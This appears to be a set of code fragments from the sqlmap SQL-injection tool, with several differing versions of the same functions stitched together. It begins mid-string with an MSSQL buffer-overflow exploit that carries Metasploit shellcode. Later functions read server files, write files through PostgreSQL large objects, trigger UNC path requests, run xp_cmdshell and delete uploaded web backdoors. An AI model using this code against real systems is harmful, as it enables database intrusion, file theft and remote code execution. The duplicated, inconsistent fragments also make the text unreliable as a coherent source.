CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) /* Metasploit shellcode */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) SET @counter = @counter + 302 SET @val = CHAR(0x43) CONTINUE END SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") logger.info( "triggering the buffer overflow vulnerability, please wait..") inject.goStacked(self.spExploit, silent=True)
def uncPathRequest(self): # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion( ) and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # http://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0, )), "8.1 or 2012 R2": ("6.3", (0, )) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ Cleanup file system and database from sqlmap create files, tables and functions """ if web and self.webBackdoorFilePath: logger.info("cleaning up the web files uploaded") self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) if (not isStackingAvailable() or kb.udfFail) and not conf.direct: return if any((conf.osCmd, conf.osShell)) and Backend.isDbms( DBMS.PGSQL) and kb.copyExecTest: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): udfDict = {"master..new_xp_cmdshell": {}} if udfDict is None: udfDict = getattr(self, "sysUdfs", {}) for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf if readInput(message, default='Y', boolean=True): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg)
def checkDbmsOs(self, detailed=False): if kb.os and kb.osVersion and kb.osSP: return if not kb.os: kb.os = "Windows" if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % kb.os self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) versions = { "2003": ("5.2", (2, 1)), #"2003": ("6.0", (2, 1)), "2008": ("7.0", (1, )), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LEN(%s) FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')>0" if inject.checkBooleanExpression(query): infoMsg += " %s" % kb.osVersion kb.osVersion = version break if not kb.osVersion: kb.osVersion = "2003" kb.osSP = 2 warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[kb.osVersion][1] for sp in sps: query = "(SELECT LEN(%s) FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')>0" if inject.checkBooleanExpression(query): kb.osSP = sp break if not kb.osSP: debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) kb.osSP = 0 if kb.osVersion: infoMsg += " Service Pack %d" % kb.osSP logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName, silent=True) inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ Cleanup file system and database from sqlmap create files, tables and functions """ if web and self.webBackdoorFilePath: logger.info("cleaning up the web files uploaded") self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) if not isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): return if udfDict is None: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg)
def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True)
def xpCmdshellExecCmd(self, cmd, silent=False): return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
def stackedReadFile(self, remoteFile): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%s%shex" % (self.fileTblName, randomStr()) self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked( "CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % remoteFile) inject.goStacked( "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % remoteFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue( "SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result
def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion( ) and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) versions = { "2003": ("5.2", (2, 1)), # TODO: verify this #"2003": ("6.0", (2, 1)), "2008": ("7.0", (1, )), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LEN(%s) FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "SELECT LEN(%s) FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%'" result = inject.goStacked(query) if result is not None and len(result) > 0 and result[0].isdigit(): Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): wFileSize = os.path.getsize(wFile) if wFileSize > 8192: errMsg = "on PostgreSQL it is not possible to write files " errMsg += "bigger than 8192 bytes at the moment" raise sqlmapUnsupportedFeatureException, errMsg self.oid = randomInt() debugMsg = "creating a support table to write the base64 " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "text") logger.debug("encoding file to its base64 string value") fcEncodedList = self.fileEncode(wFile, "base64", False) debugMsg = "forging SQL statements to write the base64 " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the base64 encoded file to the support table") for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) debugMsg = "updating the system large objects table assigning to " debugMsg += "the just created OID the binary (base64 decoded) UDF " debugMsg += "as data" logger.debug(debugMsg) # Refereces: # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql # # NOTE: From PostgreSQL site: # # "The data stored in the large object will never be more than # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or # typically 2 Kb" # # As a matter of facts it was possible to store correctly a file # large 13776 bytes, the problem arises at next step (lo_export()) inject.goStacked( "UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile logger.debug(debugMsg) # NOTE: lo_export() exports up to only 8192 bytes of the file # (pg_largeobject 'data' field) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) if confirm: self.askCheckWrittenFile(wFile, dFile, fileType) inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked( "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = u"文件'%s' 丢失" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("无法在 PostgreSQL 上检查读取文件'%s'的长度" % remoteFile) sameFile = True else: logger.debug(u"检查远程文件'%s'的长度" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = u"本地文件'%s'和远程文件" % localFile infoMsg += u"'%s'的大小相同 (%d B)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)大(%d B)" % ( remoteFile, localFile, localFileSize, remoteFileSize) else: infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)小(%d B)" % ( remoteFile, localFile, localFileSize, remoteFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = u"看起来文件尚未写入" warnMsg += u"(通常出现这种情况是因为DBMS进程用户在目标路径中没有写权限)" logger.warn(warnMsg) return sameFile